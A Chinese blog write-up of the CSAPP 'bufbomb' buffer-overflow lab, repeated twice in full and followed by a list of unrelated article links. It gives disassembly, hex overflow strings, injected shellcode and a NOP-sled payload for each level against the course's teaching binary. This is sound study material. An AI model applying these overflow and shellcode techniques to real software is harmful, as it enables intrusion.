CSAPP:Lab3 bufbomb实验记录
2016-05-04 16:33
375 查看
ID:alucard
Cookie:0x1b6069a4
Level 0:
要求getbuf()执行完后,跳到smoke()里面
080491f4<getbuf>:
80491f4: 55 push %ebp
80491f5: 89e5 mov %esp,%ebp
80491f7: 83ec 38 sub $0x38,%esp
80491fa: 8d45 d8 lea -0x28(%ebp),%eax
80491fd: 8904 24 mov %eax,(%esp)
8049200: e8f5 fa ff ff call 8048cfa <Gets>
8049205: b801 00 00 00 mov $0x1,%eax
804920a: c9 leave
804920b: c3 ret
08048c18<smoke>:
8048c18: 55 push %ebp
8048c19: 89e5 mov %esp,%ebp
8048c1b: 83ec 18 sub $0x18,%esp
8048c1e: c704 24 d3 a4 04 08 movl $0x804a4d3,(%esp)
8048c25: e896 fc ff ff call 80488c0<puts@plt>
8048c2a: c704 24 00 00 00 00 movl $0x0,(%esp)
8048c31: e845 07 00 00 call 804937b<validate>
8048c36: c704 24 00 00 00 00 movl $0x0,(%esp)
8048c3d: e8be fc ff ff call 8048900<exit@plt>
首先知道了smoke的函数地址为0x08048c18,我们要输入将其输入到ebp上面的返回地址,怎么输入呢?观察知-28(%ebp)是我们输入字符串开头,28+4=2c,即我们要先随便输入44个字符,再输入smoke()的地址
00 00 00 00 0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 00 00 00 00 00 18 8c 04 08
成功。
Level 1:
08048c42<fizz>:
8048c42: 55 push %ebp
8048c43: 89e5 mov %esp,%ebp
8048c45: 83ec 18 sub $0x18,%esp
8048c48: 8b45 08 mov 0x8(%ebp),%eax
8048c4b: 3b05 08 d1 04 08 cmp 0x804d108,%eax
8048c51: 7526 jne 8048c79<fizz+0x37>
8048c53: 8944 24 08 mov %eax,0x8(%esp)
8048c57: c744 24 04 ee a4 04 movl $0x804a4ee,0x4(%esp)
8048c5e: 08
8048c5f: c704 24 01 00 00 00 movl $0x1,(%esp)
8048c66: e855 fd ff ff call 80489c0<__printf_chk@plt>
8048c6b: c704 24 01 00 00 00 movl $0x1,(%esp)
8048c72: e804 07 00 00 call 804937b<validate>
8048c77: eb18 jmp 8048c91<fizz+0x4f>
8048c79: 8944 24 08 mov %eax,0x8(%esp)
8048c7d: c744 24 04 40 a3 04 movl $0x804a340,0x4(%esp)
8048c84: 08
8048c85: c704 24 01 00 00 00 movl $0x1,(%esp)
8048c8c: e82f fd ff ff call 80489c0 <__printf_chk@plt>
8048c91: c704 24 00 00 00 00 movl $0x0,(%esp)
8048c98: e863 fc ff ff call 8048900<exit@plt>
080491f4<getbuf>:
80491f4: 55 push %ebp
80491f5: 89e5 mov %esp,%ebp
80491f7: 83ec 38 sub $0x38,%esp
80491fa: 8d45 d8 lea -0x28(%ebp),%eax
80491fd: 8904 24 mov %eax,(%esp)
8049200: e8f5 fa ff ff call 8048cfa <Gets>
8049205: b801 00 00 00 mov $0x1,%eax
804920a: c9 leave
804920b: c3 ret
根据ppt里面所说,我不仅需要调用fizz(),还要传入我的Cookie: 0x1b6069a4作为参数,否则不能过关。
首先同上一题输入00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 42 8c 04 08
调用fizz()是必须得做的,那么关键是怎么输入参数。Getbuf()执行完后程序立刻跳到了fizz()的第一行,将被我们改了的ebp的内容(被修改了无关紧要)压栈进去,再将ebp的内容更新为esp当前所指向的地方——即原先的ebp+4处(上一个返回地址在栈中的位置).而,参数是在ebp+8的地方,所以我们只需要再输入8个字节随意内容,最后输入cookie就行了。00 00 00 00 a4 69 60 1b(以此可以观察到栈中存放参数的方式)
总输入:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 42 8c 04 08 0000 00 00 a4 69 60 1b
成功:
Level2:
080491f4<getbuf>:
80491f4: 55 push %ebp
80491f5: 89e5 mov %esp,%ebp
80491f7: 83ec 38 sub $0x38,%esp
80491fa: 8d45 d8 lea -0x28(%ebp),%eax
80491fd: 8904 24 mov %eax,(%esp)
8049200: e8f5 fa ff ff call 8048cfa <Gets>
8049205: b801 00 00 00 mov $0x1,%eax
804920a: c9 leave
804920b: c3 ret
08048c9d<bang>:
8048c9d: 55 push %ebp
8048c9e: 89e5 mov %esp,%ebp
8048ca0: 83ec 18 sub $0x18,%esp
8048ca3: a100 d1 04 08 mov 0x804d100,%eax
8048ca8: 3b05 08 d1 04 08 cmp 0x804d108,%eax
8048cae: 7526 jne 8048cd6<bang+0x
b7d9
39>
8048cb0: 8944 24 08 mov %eax,0x8(%esp)
8048cb4: c744 24 04 60 a3 04 movl $0x804a360,0x4(%esp)
8048cbb: 08
8048cbc: c704 24 01 00 00 00 movl $0x1,(%esp)
8048cc3: e8f8 fc ff ff call 80489c0<__printf_chk@plt>
8048cc8: c704 24 02 00 00 00 movl $0x2,(%esp)
8048ccf: e8a7 06 00 00 call 804937b<validate>
8048cd4: eb18 jmp 8048cee<bang+0x51>
8048cd6: 8944 24 08 mov %eax,0x8(%esp)
8048cda: c744 24 04 0c a5 04 movl $0x804a50c,0x4(%esp)
8048ce1: 08
8048ce2: c704 24 01 00 00 00 movl $0x1,(%esp)
8048ce9: e8d2 fc ff ff call 80489c0<__printf_chk@plt>
8048cee: c704 24 00 00 00 00 movl $0x0,(%esp)
8048cf5: e806 fc ff ff call 8048900<exit@plt>
同样,我必须要跳到bang();不过该任务还要求我们跳到bang()之前,修改global_value的值,使其值为我的cookie:0x1b6069a4,否则游戏无法过关。
0804d100 g O .bss 00000004 global_value
我在符号表中查询到global_value的地址,其地址值远远小于getbuf段的地址,而且它在bss段,是未初始化的全局变量。我们输入字符串是无法覆盖到这边区域的,必须通过写入代码来修改global_value。
eax存放着字符串的首地址,我们想到,可以将getbuf的返回地址改为eax的地址,让其执行字符串里面的机器代码,再跳到bang()里面。
先通过gdb,80491fd: 89 04 24 mov %eax,(%esp),在此处设置断点,再随意输入一串字符,到了断点后输出eax包含的地址
此时字符串的首地址是0x55683248
此时写修改global_value的代码:
movl $0x1b6069a4,%eax
movl %eax,0x0804d100
push $0x08048c9d //将bang()的地址入栈
ret //跳到bang()处
将其进行汇编,得到机器代码0x55683248
答案:b8 a4 69 60 1b a3 00 d1 04 08 68 9d 8c 04 08 c3 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 48 32 68 55
成功。
Level3:
08048daa<test>:
8048daa: 55 push %ebp
8048dab: 89e5 mov %esp,%ebp
8048dad: 53 push %ebx
8048dae: 83ec 24 sub $0x24,%esp
8048db1: e8da ff ff ff call 8048d90<uniqueval>
8048db6: 8945 f4 mov %eax,-0xc(%ebp)
8048db9: e836 04 00 00 call 80491f4<getbuf>
8048dbe: 89c3 mov %eax,%ebx
8048dc0: e8cb ff ff ff call 8048d90<uniqueval>
8048dc5: 8b55 f4 mov -0xc(%ebp),%edx
8048dc8: 39d0 cmp %edx,%eax
8048dca: 740e je 8048dda<test+0x30>
8048dcc: c704 24 88 a3 04 08 movl $0x804a388,(%esp)
8048dd3: e8e8 fa ff ff call 80488c0<puts@plt>
8048dd8: eb46 jmp 8048e20<test+0x76>
8048dda: 3b1d 08 d1 04 08 cmp 0x804d108,%ebx
8048de0: 7526 jne 8048e08<test+0x5e>
8048de2: 895c 24 08 mov %ebx,0x8(%esp)
8048de6: c744 24 04 2a a5 04 movl $0x804a52a,0x4(%esp)
8048ded: 08
8048dee: c704 24 01 00 00 00 movl $0x1,(%esp)
8048df5: e8c6 fb ff ff call 80489c0<__printf_chk@plt>
8048dfa: c704 24 03 00 00 00 movl $0x3,(%esp)
8048e01: e875 05 00 00 call 804937b<validate>
8048e06: eb18 jmp 8048e20 <test+0x76>
8048e08: 895c 24 08 mov %ebx,0x8(%esp)
8048e0c: c744 24 04 47 a5 04 movl $0x804a547,0x4(%esp)
8048e13: 08
8048e14: c704 24 01 00 00 00 movl $0x1,(%esp)
8048e1b: e8a0 fb ff ff call 80489c0<__printf_chk@plt>
8048e20: 83c4 24 add $0x24,%esp
8048e23: 5b pop %ebx
8048e24: 5d pop %ebp
8048e25: c3 ret
080491f4<getbuf>:
80491f4: 55 push %ebp
80491f5: 89e5 mov %esp,%ebp
80491f7: 83ec 38 sub $0x38,%esp
80491fa: 8d45 d8 lea -0x28(%ebp),%eax
80491fd: 8904 24 mov %eax,(%esp)
8049200: e8f5 fa ff ff call 8048cfa <Gets>
8049205: b801 00 00 00 mov $0x1,%eax
804920a: c9 leave
804920b: c3 ret
该关要求getbuf()返回cookies,并且要保证各寄存器的正常运行。
我们知道,输入溢出的字符串后,会将getbuf()栈帧中保存的old ebp给覆盖掉,所以我们必须注意输入字符串时要保持ebp原来的值。
1.先用gdb找到ebp本应的值
即ebp的值应为0x556832a0
2.修复完后跳调用getbuf()后紧接着一句的地址0x8048dbe
3.开始写代码吧
movl $0x1b6069a4,%eax //cookie
push $0x8048dbe //推立即数入栈
ret
汇编后的机器代码:
剩下的,就跟上面一样了。b8 a4 69 60 1b mov $0x1b6069a4,%eax
5: 68 be 8d 04 08 push $0x8048dbe
a: c3
答案:b8 a4 69 60 1b 68 be 8d 04 08 c3 00 00 00 0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a032 68 55 48 32 68 55
Level4:
08048e26 <testn>:
8048e26: 55 push %ebp
8048e27: 89 e5 mov %esp,%ebp
8048e29: 53 push %ebx
8048e2a: 83 ec 24 sub $0x24,%esp
8048e2d: e8 5e ff ff ff call 8048d90 <uniqueval>
8048e32: 89 45 f4 mov %eax,-0xc(%ebp)
8048e35: e8 d2 03 00 00 call 804920c <getbufn>
8048e3a: 89 c3 mov %eax,%ebx
8048e3c: e8 4f ff ff ff call 8048d90 <uniqueval>
8048e41: 8b 55 f4 mov -0xc(%ebp),%edx
8048e44: 39 d0 cmp %edx,%eax
8048e46: 74 0e je 8048e56<testn+0x30>
8048e48: c7 04 24 88 a3 0408 movl $0x804a388,(%esp)
8048e4f: e8 6c fa ff ff call 80488c0 <puts@plt>
8048e54: eb 46 jmp 8048e9c<testn+0x76>
8048e56: 3b 1d 08 d1 0408 cmp 0x804d108,%ebx
8048e5c: 75 26 jne 8048e84<testn+0x5e>
8048e5e: 89 5c 24 08 mov %ebx,0x8(%esp)
8048e62: c7 44 24 04 b4 a304 movl $0x804a3b4,0x4(%esp)
8048e69: 08
8048e6a: c7 04 24 01 00 0000 movl $0x1,(%esp)
8048e71: e8 4a fb ff ff call 80489c0 <__printf_chk@plt>
8048e76: c7 04 24 04 00 0000 movl $0x4,(%esp)
8048e7d: e8 f9 04 00 00 call 804937b <validate>
8048e82: eb 18 jmp 8048e9c<testn+0x76>
8048e84: 89 5c 24 08 mov %ebx,0x8(%esp)
8048e88: c7 44 24 04 62 a504 movl $0x804a562,0x4(%esp)
8048e8f: 08
8048e90: c7 04 24 01 00 0000 movl $0x1,(%esp)
8048e97: e8 24 fb ff ff call 80489c0 <__printf_chk@plt>
8048e9c: 83 c4 24 add $0x24,%esp
8048e9f: 5b pop %ebx
8048ea0: 5d pop %ebp
8048ea1: c3 ret
0804920c <getbufn>:
804920c: 55 push %ebp
804920d: 89 e5 mov %esp,%ebp
804920f: 81 ec 18 02 0000 sub $0x218,%esp
8049215: 8d 85 f8 fd ffff lea -0x208(%ebp),%eax
804921b: 89 04 24 mov %eax,(%esp)
804921e: e8 d7 fa ff ff call 8048cfa <Gets>
8049223: b8 01 00 00 00 mov $0x1,%eax
8049228: c9 leave
8049229: c3 ret
804922a: 90 nop
804922b: 90 nop
首先我们发现栈帧里面的恒等关系:%ebp=%esp+0x28
观察能发现,因为getbufn里面有leave指令的存在,所以我们只需要恢复ebp
写代码:
mov $0x1b6069a4,%eax
lea 0x28(%esp),%ebp
push $0x08048e3a
ret
//最后返回到testn()中调用getbufn()下一句
啊啊啊,汇编啊
00000000 <.text>:
0: b8 a4 69 60 1b mov $0x1b6069a4,%eax
5: 8d 6c 24 28 lea 0x28(%esp),%ebp
9: 68 3a 8e 04 08 push $0x8048e3a
e: c3 ret
b8 a4 69 60 1b 8d 6c 24 28 68 3a 8e 04 08 c3
数组长度是520字节,其余8字节覆盖ebp和getbufn的返回地址。现在我们应该拿到buf首地址,这样才能执行上面反汇编出来的机器码。
问题来了。。我们怎么找到这个buf首地址呢,毕竟字符串首地址是变化的。这时我们可以用nop指令。
不要着急。。先通过GDB调试查看读入getbufn()内字符串buf的地址。
有五种。我们知道。一共要填写528字节,其中509字节nop,15字节机器代码,4字节返回地址。
0x55683068
0x55683038
0x55683008
0x55683098
0x55683098
NOP指令:程序计数器读取他后,不做任何对程序运行产生影响的动作。从地址低处到高处,一直90 90 90 90 90.。。。。就能读到那个15字节我们要用的机器代码。
另外,为了防止nop指令不够用,我们选地址最高的0x55683098,以他作为飙车的起始地址。选其他地址的话,可能老司机还没到目的地,汽油nop就用完了。。
所以string组成:509个90 b8 a4 69 60 1b8d 6c 24 28 68 3a 8e 04 08 c3 98 30 68 55 0a
为什么有0a呢?因为要输入5次字符串得有个终止啊。。0a相当于’\n’
MISSION COMPELETED
Cookie:0x1b6069a4
Level 0:
要求getbuf()执行完后,跳到smoke()里面
080491f4<getbuf>:
80491f4: 55 push %ebp
80491f5: 89e5 mov %esp,%ebp
80491f7: 83ec 38 sub $0x38,%esp
80491fa: 8d45 d8 lea -0x28(%ebp),%eax
80491fd: 8904 24 mov %eax,(%esp)
8049200: e8f5 fa ff ff call 8048cfa <Gets>
8049205: b801 00 00 00 mov $0x1,%eax
804920a: c9 leave
804920b: c3 ret
08048c18<smoke>:
8048c18: 55 push %ebp
8048c19: 89e5 mov %esp,%ebp
8048c1b: 83ec 18 sub $0x18,%esp
8048c1e: c704 24 d3 a4 04 08 movl $0x804a4d3,(%esp)
8048c25: e896 fc ff ff call 80488c0<puts@plt>
8048c2a: c704 24 00 00 00 00 movl $0x0,(%esp)
8048c31: e845 07 00 00 call 804937b<validate>
8048c36: c704 24 00 00 00 00 movl $0x0,(%esp)
8048c3d: e8be fc ff ff call 8048900<exit@plt>
首先知道了smoke的函数地址为0x08048c18,我们要输入将其输入到ebp上面的返回地址,怎么输入呢?观察知-28(%ebp)是我们输入字符串开头,28+4=2c,即我们要先随便输入44个字符,再输入smoke()的地址
00 00 00 00 0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 00 00 00 00 00 18 8c 04 08
成功。
Level 1:
08048c42<fizz>:
8048c42: 55 push %ebp
8048c43: 89e5 mov %esp,%ebp
8048c45: 83ec 18 sub $0x18,%esp
8048c48: 8b45 08 mov 0x8(%ebp),%eax
8048c4b: 3b05 08 d1 04 08 cmp 0x804d108,%eax
8048c51: 7526 jne 8048c79<fizz+0x37>
8048c53: 8944 24 08 mov %eax,0x8(%esp)
8048c57: c744 24 04 ee a4 04 movl $0x804a4ee,0x4(%esp)
8048c5e: 08
8048c5f: c704 24 01 00 00 00 movl $0x1,(%esp)
8048c66: e855 fd ff ff call 80489c0<__printf_chk@plt>
8048c6b: c704 24 01 00 00 00 movl $0x1,(%esp)
8048c72: e804 07 00 00 call 804937b<validate>
8048c77: eb18 jmp 8048c91<fizz+0x4f>
8048c79: 8944 24 08 mov %eax,0x8(%esp)
8048c7d: c744 24 04 40 a3 04 movl $0x804a340,0x4(%esp)
8048c84: 08
8048c85: c704 24 01 00 00 00 movl $0x1,(%esp)
8048c8c: e82f fd ff ff call 80489c0 <__printf_chk@plt>
8048c91: c704 24 00 00 00 00 movl $0x0,(%esp)
8048c98: e863 fc ff ff call 8048900<exit@plt>
080491f4<getbuf>:
80491f4: 55 push %ebp
80491f5: 89e5 mov %esp,%ebp
80491f7: 83ec 38 sub $0x38,%esp
80491fa: 8d45 d8 lea -0x28(%ebp),%eax
80491fd: 8904 24 mov %eax,(%esp)
8049200: e8f5 fa ff ff call 8048cfa <Gets>
8049205: b801 00 00 00 mov $0x1,%eax
804920a: c9 leave
804920b: c3 ret
根据ppt里面所说,我不仅需要调用fizz(),还要传入我的Cookie: 0x1b6069a4作为参数,否则不能过关。
首先同上一题输入00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 42 8c 04 08
调用fizz()是必须得做的,那么关键是怎么输入参数。Getbuf()执行完后程序立刻跳到了fizz()的第一行,将被我们改了的ebp的内容(被修改了无关紧要)压栈进去,再将ebp的内容更新为esp当前所指向的地方——即原先的ebp+4处(上一个返回地址在栈中的位置).而,参数是在ebp+8的地方,所以我们只需要再输入8个字节随意内容,最后输入cookie就行了。00 00 00 00 a4 69 60 1b(以此可以观察到栈中存放参数的方式)
总输入:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 42 8c 04 08 0000 00 00 a4 69 60 1b
成功:
Level2:
080491f4<getbuf>:
80491f4: 55 push %ebp
80491f5: 89e5 mov %esp,%ebp
80491f7: 83ec 38 sub $0x38,%esp
80491fa: 8d45 d8 lea -0x28(%ebp),%eax
80491fd: 8904 24 mov %eax,(%esp)
8049200: e8f5 fa ff ff call 8048cfa <Gets>
8049205: b801 00 00 00 mov $0x1,%eax
804920a: c9 leave
804920b: c3 ret
08048c9d<bang>:
8048c9d: 55 push %ebp
8048c9e: 89e5 mov %esp,%ebp
8048ca0: 83ec 18 sub $0x18,%esp
8048ca3: a100 d1 04 08 mov 0x804d100,%eax
8048ca8: 3b05 08 d1 04 08 cmp 0x804d108,%eax
8048cae: 7526 jne 8048cd6<bang+0x
b7d9
39>
8048cb0: 8944 24 08 mov %eax,0x8(%esp)
8048cb4: c744 24 04 60 a3 04 movl $0x804a360,0x4(%esp)
8048cbb: 08
8048cbc: c704 24 01 00 00 00 movl $0x1,(%esp)
8048cc3: e8f8 fc ff ff call 80489c0<__printf_chk@plt>
8048cc8: c704 24 02 00 00 00 movl $0x2,(%esp)
8048ccf: e8a7 06 00 00 call 804937b<validate>
8048cd4: eb18 jmp 8048cee<bang+0x51>
8048cd6: 8944 24 08 mov %eax,0x8(%esp)
8048cda: c744 24 04 0c a5 04 movl $0x804a50c,0x4(%esp)
8048ce1: 08
8048ce2: c704 24 01 00 00 00 movl $0x1,(%esp)
8048ce9: e8d2 fc ff ff call 80489c0<__printf_chk@plt>
8048cee: c704 24 00 00 00 00 movl $0x0,(%esp)
8048cf5: e806 fc ff ff call 8048900<exit@plt>
同样,我必须要跳到bang();不过该任务还要求我们跳到bang()之前,修改global_value的值,使其值为我的cookie:0x1b6069a4,否则游戏无法过关。
0804d100 g O .bss 00000004 global_value
我在符号表中查询到global_value的地址,其地址值远远小于getbuf段的地址,而且它在bss段,是未初始化的全局变量。我们输入字符串是无法覆盖到这边区域的,必须通过写入代码来修改global_value。
eax存放着字符串的首地址,我们想到,可以将getbuf的返回地址改为eax的地址,让其执行字符串里面的机器代码,再跳到bang()里面。
先通过gdb,80491fd: 89 04 24 mov %eax,(%esp),在此处设置断点,再随意输入一串字符,到了断点后输出eax包含的地址
此时字符串的首地址是0x55683248
此时写修改global_value的代码:
movl $0x1b6069a4,%eax
movl %eax,0x0804d100
push $0x08048c9d //将bang()的地址入栈
ret //跳到bang()处
将其进行汇编,得到机器代码0x55683248
答案:b8 a4 69 60 1b a3 00 d1 04 08 68 9d 8c 04 08 c3 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 48 32 68 55
成功。
Level3:
08048daa<test>:
8048daa: 55 push %ebp
8048dab: 89e5 mov %esp,%ebp
8048dad: 53 push %ebx
8048dae: 83ec 24 sub $0x24,%esp
8048db1: e8da ff ff ff call 8048d90<uniqueval>
8048db6: 8945 f4 mov %eax,-0xc(%ebp)
8048db9: e836 04 00 00 call 80491f4<getbuf>
8048dbe: 89c3 mov %eax,%ebx
8048dc0: e8cb ff ff ff call 8048d90<uniqueval>
8048dc5: 8b55 f4 mov -0xc(%ebp),%edx
8048dc8: 39d0 cmp %edx,%eax
8048dca: 740e je 8048dda<test+0x30>
8048dcc: c704 24 88 a3 04 08 movl $0x804a388,(%esp)
8048dd3: e8e8 fa ff ff call 80488c0<puts@plt>
8048dd8: eb46 jmp 8048e20<test+0x76>
8048dda: 3b1d 08 d1 04 08 cmp 0x804d108,%ebx
8048de0: 7526 jne 8048e08<test+0x5e>
8048de2: 895c 24 08 mov %ebx,0x8(%esp)
8048de6: c744 24 04 2a a5 04 movl $0x804a52a,0x4(%esp)
8048ded: 08
8048dee: c704 24 01 00 00 00 movl $0x1,(%esp)
8048df5: e8c6 fb ff ff call 80489c0<__printf_chk@plt>
8048dfa: c704 24 03 00 00 00 movl $0x3,(%esp)
8048e01: e875 05 00 00 call 804937b<validate>
8048e06: eb18 jmp 8048e20 <test+0x76>
8048e08: 895c 24 08 mov %ebx,0x8(%esp)
8048e0c: c744 24 04 47 a5 04 movl $0x804a547,0x4(%esp)
8048e13: 08
8048e14: c704 24 01 00 00 00 movl $0x1,(%esp)
8048e1b: e8a0 fb ff ff call 80489c0<__printf_chk@plt>
8048e20: 83c4 24 add $0x24,%esp
8048e23: 5b pop %ebx
8048e24: 5d pop %ebp
8048e25: c3 ret
080491f4<getbuf>:
80491f4: 55 push %ebp
80491f5: 89e5 mov %esp,%ebp
80491f7: 83ec 38 sub $0x38,%esp
80491fa: 8d45 d8 lea -0x28(%ebp),%eax
80491fd: 8904 24 mov %eax,(%esp)
8049200: e8f5 fa ff ff call 8048cfa <Gets>
8049205: b801 00 00 00 mov $0x1,%eax
804920a: c9 leave
804920b: c3 ret
该关要求getbuf()返回cookies,并且要保证各寄存器的正常运行。
我们知道,输入溢出的字符串后,会将getbuf()栈帧中保存的old ebp给覆盖掉,所以我们必须注意输入字符串时要保持ebp原来的值。
1.先用gdb找到ebp本应的值
即ebp的值应为0x556832a0
2.修复完后跳调用getbuf()后紧接着一句的地址0x8048dbe
3.开始写代码吧
movl $0x1b6069a4,%eax //cookie
push $0x8048dbe //推立即数入栈
ret
汇编后的机器代码:
剩下的,就跟上面一样了。b8 a4 69 60 1b mov $0x1b6069a4,%eax
5: 68 be 8d 04 08 push $0x8048dbe
a: c3
答案:b8 a4 69 60 1b 68 be 8d 04 08 c3 00 00 00 0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a032 68 55 48 32 68 55
Level4:
08048e26 <testn>:
8048e26: 55 push %ebp
8048e27: 89 e5 mov %esp,%ebp
8048e29: 53 push %ebx
8048e2a: 83 ec 24 sub $0x24,%esp
8048e2d: e8 5e ff ff ff call 8048d90 <uniqueval>
8048e32: 89 45 f4 mov %eax,-0xc(%ebp)
8048e35: e8 d2 03 00 00 call 804920c <getbufn>
8048e3a: 89 c3 mov %eax,%ebx
8048e3c: e8 4f ff ff ff call 8048d90 <uniqueval>
8048e41: 8b 55 f4 mov -0xc(%ebp),%edx
8048e44: 39 d0 cmp %edx,%eax
8048e46: 74 0e je 8048e56<testn+0x30>
8048e48: c7 04 24 88 a3 0408 movl $0x804a388,(%esp)
8048e4f: e8 6c fa ff ff call 80488c0 <puts@plt>
8048e54: eb 46 jmp 8048e9c<testn+0x76>
8048e56: 3b 1d 08 d1 0408 cmp 0x804d108,%ebx
8048e5c: 75 26 jne 8048e84<testn+0x5e>
8048e5e: 89 5c 24 08 mov %ebx,0x8(%esp)
8048e62: c7 44 24 04 b4 a304 movl $0x804a3b4,0x4(%esp)
8048e69: 08
8048e6a: c7 04 24 01 00 0000 movl $0x1,(%esp)
8048e71: e8 4a fb ff ff call 80489c0 <__printf_chk@plt>
8048e76: c7 04 24 04 00 0000 movl $0x4,(%esp)
8048e7d: e8 f9 04 00 00 call 804937b <validate>
8048e82: eb 18 jmp 8048e9c<testn+0x76>
8048e84: 89 5c 24 08 mov %ebx,0x8(%esp)
8048e88: c7 44 24 04 62 a504 movl $0x804a562,0x4(%esp)
8048e8f: 08
8048e90: c7 04 24 01 00 0000 movl $0x1,(%esp)
8048e97: e8 24 fb ff ff call 80489c0 <__printf_chk@plt>
8048e9c: 83 c4 24 add $0x24,%esp
8048e9f: 5b pop %ebx
8048ea0: 5d pop %ebp
8048ea1: c3 ret
0804920c <getbufn>:
804920c: 55 push %ebp
804920d: 89 e5 mov %esp,%ebp
804920f: 81 ec 18 02 0000 sub $0x218,%esp
8049215: 8d 85 f8 fd ffff lea -0x208(%ebp),%eax
804921b: 89 04 24 mov %eax,(%esp)
804921e: e8 d7 fa ff ff call 8048cfa <Gets>
8049223: b8 01 00 00 00 mov $0x1,%eax
8049228: c9 leave
8049229: c3 ret
804922a: 90 nop
804922b: 90 nop
首先我们发现栈帧里面的恒等关系:%ebp=%esp+0x28
观察能发现,因为getbufn里面有leave指令的存在,所以我们只需要恢复ebp
写代码:
mov $0x1b6069a4,%eax
lea 0x28(%esp),%ebp
push $0x08048e3a
ret
//最后返回到testn()中调用getbufn()下一句
啊啊啊,汇编啊
00000000 <.text>:
0: b8 a4 69 60 1b mov $0x1b6069a4,%eax
5: 8d 6c 24 28 lea 0x28(%esp),%ebp
9: 68 3a 8e 04 08 push $0x8048e3a
e: c3 ret
b8 a4 69 60 1b 8d 6c 24 28 68 3a 8e 04 08 c3
数组长度是520字节,其余8字节覆盖ebp和getbufn的返回地址。现在我们应该拿到buf首地址,这样才能执行上面反汇编出来的机器码。
问题来了。。我们怎么找到这个buf首地址呢,毕竟字符串首地址是变化的。这时我们可以用nop指令。
不要着急。。先通过GDB调试查看读入getbufn()内字符串buf的地址。
有五种。我们知道。一共要填写528字节,其中509字节nop,15字节机器代码,4字节返回地址。
0x55683068
0x55683038
0x55683008
0x55683098
0x55683098
NOP指令:程序计数器读取他后,不做任何对程序运行产生影响的动作。从地址低处到高处,一直90 90 90 90 90.。。。。就能读到那个15字节我们要用的机器代码。
另外,为了防止nop指令不够用,我们选地址最高的0x55683098,以他作为飙车的起始地址。选其他地址的话,可能老司机还没到目的地,汽油nop就用完了。。
所以string组成:509个90 b8 a4 69 60 1b8d 6c 24 28 68 3a 8e 04 08 c3 98 30 68 55 0a
为什么有0a呢?因为要输入5次字符串得有个终止啊。。0a相当于’\n’
MISSION COMPELETED
相关文章推荐
- Android重写View实现全新的控件
- 初始化配置AndroidStudio(个人珍藏)
- Objective-C Runtime 运行时之一:类与对象
- 拍照(从本地获取存储在SD卡中)
- Cocos2d-lua自动重新加载SpriteFrames
- iOS 推送,当接到推送消息时如何处理?
- iOS常见问题
- android的进程/线程的管理
- 【android】使用adb将logcat保存到本地
- Android组合控件实现功能强大的自定义控件
- Android ToggleButton控件的用法
- ios9 新特性
- iOS开发系列--通知与消息机制
- Android代码质量检查利器:从代码源头保证代码质量
- Android异步加载
- Permission Denial: not allowed to send broadcast android.intent.action.SCREEN_OFF
- iOS 开发隐藏导航栏代码
- 小猪CMS微信管理平吧,用户登录出现小猪广告解决方法
- iOS 汉字转拼音
- iOS真机调试